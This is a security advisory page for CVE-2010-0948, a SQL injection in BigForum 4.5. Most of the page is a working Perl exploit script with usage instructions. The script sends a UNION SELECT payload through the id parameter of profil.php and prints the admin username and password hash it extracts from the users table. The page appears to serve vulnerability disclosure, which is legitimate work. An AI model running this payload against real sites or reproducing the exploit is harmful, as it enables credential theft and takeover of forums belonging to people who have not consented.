Topic : | BigForum 4.5 SQL Injection
|
SecurityAlert : 7101
CVE : CVE-2010-0948
CWE : CWE-89
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : No
Exploit Available : Yes
Credit : Ctacok
Published : 11.03.2010
Affected Software : | bfs.kilu:bigforum:4.5 |
 Advisory Content :
# Exploit Title: BigForum 4.5 SQL INJECTION EXPLOIT
# Date: 07.03.2010
# Author: Ctacok
# Software Link: http://sourceforge.net/projects/npage-bigforum/
# Version: 4.5
# Tested on: Ubuntu 9.10
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# BigForum Version: 4.5 SQL INJECTION #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Require : Magic_quotes = Off #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln =
"-1'+union+select+1,concat(0x3a3a3a,id,0x3a,username,0x3a,pw,0x3a3a3a),3,4,
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+
users";
$doc = get($host.$path."profil.php?id=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
}
References :
http://xforce.iss.net/xforce/xfdb/56723
http://www.securityfocus.com/bid/38597
http://www.exploit-db.com/exploits/11646
http://secunia.com/advisories/38872
http://packetstormsecurity.org/1003-exploits/bigforum-sql.txt
http://osvdb.org/62778
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|